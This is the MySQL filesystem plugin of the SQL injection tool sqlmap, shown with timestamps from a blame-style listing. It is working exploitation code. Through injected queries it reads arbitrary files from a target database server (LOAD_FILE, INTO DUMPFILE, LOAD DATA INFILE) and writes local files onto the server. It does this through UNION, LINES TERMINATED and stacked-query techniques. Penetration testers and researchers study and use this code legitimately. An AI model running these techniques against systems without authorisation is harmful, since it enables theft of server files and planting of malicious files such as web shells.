2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2010-03-23 01:57:57 +03:00
"""
2020-01-01 15:25:15 +03:00
Copyright ( c ) 2006 - 2020 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2010-03-23 01:57:57 +03:00
"""
2018-09-06 01:59:29 +03:00
from lib . core . agent import agent
from lib . core . common import getSQLSnippet
2011-09-21 02:16:56 +04:00
from lib . core . common import isNumPosStrValue
2012-05-18 12:51:50 +04:00
from lib . core . common import isTechniqueAvailable
2015-07-26 18:02:46 +03:00
from lib . core . common import popValue
from lib . core . common import pushValue
2010-03-23 01:57:57 +03:00
from lib . core . common import randomStr
2011-09-21 02:16:56 +04:00
from lib . core . common import singleTimeWarnMessage
2019-03-28 18:04:38 +03:00
from lib . core . compat import xrange
2010-03-23 01:57:57 +03:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2018-04-01 13:45:47 +03:00
from lib . core . decorators import stackedmethod
2012-02-29 18:36:23 +04:00
from lib . core . enums import CHARSET_TYPE
2018-09-06 01:59:29 +03:00
from lib . core . enums import DBMS
2012-04-04 13:25:05 +04:00
from lib . core . enums import EXPECTED
2012-05-24 22:05:33 +04:00
from lib . core . enums import PAYLOAD
2010-11-08 12:20:02 +03:00
from lib . core . enums import PLACE
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapNoneDataException
2010-03-23 01:57:57 +03:00
from lib . request import inject
2018-09-06 01:59:29 +03:00
from lib . request . connect import Connect as Request
2011-06-18 16:34:41 +04:00
from lib . techniques . union . use import unionUse
2010-03-23 01:57:57 +03:00
from plugins . generic . filesystem import Filesystem as GenericFilesystem
class Filesystem ( GenericFilesystem ) :
2012-07-06 18:13:50 +04:00
def nonStackedReadFile ( self , rFile ) :
2019-06-27 18:28:43 +03:00
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
2010-03-23 01:57:57 +03:00
2014-08-16 16:23:07 +04:00
result = inject . getValue ( " HEX(LOAD_FILE( ' %s ' )) " % rFile , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
return result
2019-06-03 11:41:51 +03:00
def stackedReadFile ( self , remoteFile ) :
2019-06-27 18:28:43 +03:00
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % remoteFile
logger . info ( infoMsg )
2010-03-23 01:57:57 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " longtext " )
self . getRemoteTempPath ( )
tmpFile = " %s /tmpf %s " % ( conf . tmpPath , randomStr ( lowercase = True ) )
2019-06-03 11:41:51 +03:00
debugMsg = " saving hexadecimal encoded content of file ' %s ' " % remoteFile
2010-03-23 01:57:57 +03:00
debugMsg + = " into temporary file ' %s ' " % tmpFile
logger . debug ( debugMsg )
2019-06-03 11:41:51 +03:00
inject . goStacked ( " SELECT HEX(LOAD_FILE( ' %s ' )) INTO DUMPFILE ' %s ' " % ( remoteFile , tmpFile ) )
2010-03-23 01:57:57 +03:00
2011-04-30 17:20:05 +04:00
debugMsg = " loading the content of hexadecimal encoded file "
2019-06-03 11:41:51 +03:00
debugMsg + = " ' %s ' into support table " % remoteFile
2010-03-23 01:57:57 +03:00
logger . debug ( debugMsg )
inject . goStacked ( " LOAD DATA INFILE ' %s ' INTO TABLE %s FIELDS TERMINATED BY ' %s ' ( %s ) " % ( tmpFile , self . fileTblName , randomStr ( 10 ) , self . tblField ) )
2012-06-16 00:41:53 +04:00
length = inject . getValue ( " SELECT LENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2010-03-23 01:57:57 +03:00
2011-09-21 02:16:56 +04:00
if not isNumPosStrValue ( length ) :
2012-04-19 18:05:45 +04:00
warnMsg = " unable to retrieve the content of the "
2019-06-03 11:41:51 +03:00
warnMsg + = " file ' %s ' " % remoteFile
2012-04-19 18:05:45 +04:00
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
2019-06-27 18:28:43 +03:00
if not kb . bruteMode :
warnMsg + = " , going to fall-back to simpler UNION technique "
logger . warn ( warnMsg )
2019-06-03 11:41:51 +03:00
result = self . nonStackedReadFile ( remoteFile )
2012-04-19 18:05:45 +04:00
else :
2013-01-04 02:20:55 +04:00
raise SqlmapNoneDataException ( warnMsg )
2012-04-19 18:05:45 +04:00
else :
length = int ( length )
2018-01-31 13:13:08 +03:00
chunkSize = 1024
2010-03-23 01:57:57 +03:00
2018-01-31 13:13:08 +03:00
if length > chunkSize :
2012-04-19 18:05:45 +04:00
result = [ ]
2010-03-23 01:57:57 +03:00
2018-01-31 13:13:08 +03:00
for i in xrange ( 1 , length , chunkSize ) :
chunk = inject . getValue ( " SELECT MID( %s , %d , %d ) FROM %s " % ( self . tblField , i , chunkSize , self . fileTblName ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2012-04-19 18:05:45 +04:00
result . append ( chunk )
else :
2012-06-16 00:41:53 +04:00
result = inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-23 01:57:57 +03:00
return result
2018-04-01 13:45:47 +03:00
@stackedmethod
2019-06-03 11:41:51 +03:00
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2010-03-23 01:57:57 +03:00
logger . debug ( " encoding file to its hexadecimal string value " )
2019-06-03 11:41:51 +03:00
fcEncodedList = self . fileEncode ( localFile , " hex " , True )
2011-04-30 17:20:05 +04:00
fcEncodedStr = fcEncodedList [ 0 ]
2010-03-23 01:57:57 +03:00
fcEncodedStrLen = len ( fcEncodedStr )
2010-11-28 21:10:54 +03:00
if kb . injection . place == PLACE . GET and fcEncodedStrLen > 8000 :
2020-10-13 12:05:13 +03:00
warnMsg = " as the injection is on a GET parameter and the file "
2010-03-23 01:57:57 +03:00
warnMsg + = " to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg + = " bytes, this might cause errors in the file "
warnMsg + = " writing process "
logger . warn ( warnMsg )
2019-06-03 11:41:51 +03:00
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
2010-03-23 01:57:57 +03:00
logger . debug ( debugMsg )
2015-07-26 18:02:46 +03:00
pushValue ( kb . forceWhere )
kb . forceWhere = PAYLOAD . WHERE . NEGATIVE
2019-06-03 11:41:51 +03:00
sqlQuery = " %s INTO DUMPFILE ' %s ' " % ( fcEncodedStr , remoteFile )
2011-02-12 02:35:45 +03:00
unionUse ( sqlQuery , unpack = False )
2015-07-26 18:02:46 +03:00
kb . forceWhere = popValue ( )
2010-03-23 01:57:57 +03:00
2011-06-07 19:13:51 +04:00
warnMsg = " expect junk characters inside the "
warnMsg + = " file as a leftover from UNION query "
2011-06-08 18:35:23 +04:00
singleTimeWarnMessage ( warnMsg )
2011-06-07 19:13:51 +04:00
2019-06-03 11:41:51 +03:00
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2013-01-23 06:10:38 +04:00
2019-06-03 11:41:51 +03:00
def linesTerminatedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2018-09-06 01:59:29 +03:00
logger . debug ( " encoding file to its hexadecimal string value " )
2019-06-03 11:41:51 +03:00
fcEncodedList = self . fileEncode ( localFile , " hex " , True )
2018-09-06 01:59:29 +03:00
fcEncodedStr = fcEncodedList [ 0 ] [ 2 : ]
fcEncodedStrLen = len ( fcEncodedStr )
if kb . injection . place == PLACE . GET and fcEncodedStrLen > 8000 :
warnMsg = " the injection is on a GET parameter and the file "
warnMsg + = " to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg + = " bytes, this might cause errors in the file "
warnMsg + = " writing process "
logger . warn ( warnMsg )
2019-06-03 11:41:51 +03:00
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
2018-09-06 01:59:29 +03:00
logger . debug ( debugMsg )
2019-06-03 11:41:51 +03:00
query = getSQLSnippet ( DBMS . MYSQL , " write_file_limit " , OUTFILE = remoteFile , HEXSTRING = fcEncodedStr )
2018-09-06 01:59:29 +03:00
query = agent . prefixQuery ( query ) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent . payload ( newValue = query )
2018-10-03 12:27:51 +03:00
Request . queryPage ( payload , content = False , raise404 = False , silent = True , noteResponseTime = False )
2018-09-06 01:59:29 +03:00
warnMsg = " expect junk characters inside the "
warnMsg + = " file as a leftover from original query "
singleTimeWarnMessage ( warnMsg )
2019-06-03 11:41:51 +03:00
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2018-09-06 01:59:29 +03:00
2019-06-03 11:41:51 +03:00
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2011-04-30 17:20:05 +04:00
debugMsg = " creating a support table to write the hexadecimal "
2010-03-23 01:57:57 +03:00
debugMsg + = " encoded file to "
logger . debug ( debugMsg )
self . createSupportTbl ( self . fileTblName , self . tblField , " longblob " )
logger . debug ( " encoding file to its hexadecimal string value " )
2019-06-03 11:41:51 +03:00
fcEncodedList = self . fileEncode ( localFile , " hex " , False )
2010-03-23 01:57:57 +03:00
2011-04-30 17:20:05 +04:00
debugMsg = " forging SQL statements to write the hexadecimal "
2010-03-23 01:57:57 +03:00
debugMsg + = " encoded file to the support table "
logger . debug ( debugMsg )
sqlQueries = self . fileToSqlQueries ( fcEncodedList )
logger . debug ( " inserting the hexadecimal encoded file to the support table " )
2018-09-10 13:43:59 +03:00
inject . goStacked ( " SET GLOBAL max_allowed_packet = %d " % ( 1024 * 1024 ) ) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
2010-03-23 01:57:57 +03:00
for sqlQuery in sqlQueries :
inject . goStacked ( sqlQuery )
2019-06-03 11:41:51 +03:00
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
2010-03-23 01:57:57 +03:00
logger . debug ( debugMsg )
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
2019-06-03 11:41:51 +03:00
inject . goStacked ( " SELECT %s FROM %s INTO DUMPFILE ' %s ' " % ( self . tblField , self . fileTblName , remoteFile ) , silent = True )
2010-03-23 01:57:57 +03:00
2019-06-03 11:41:51 +03:00
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )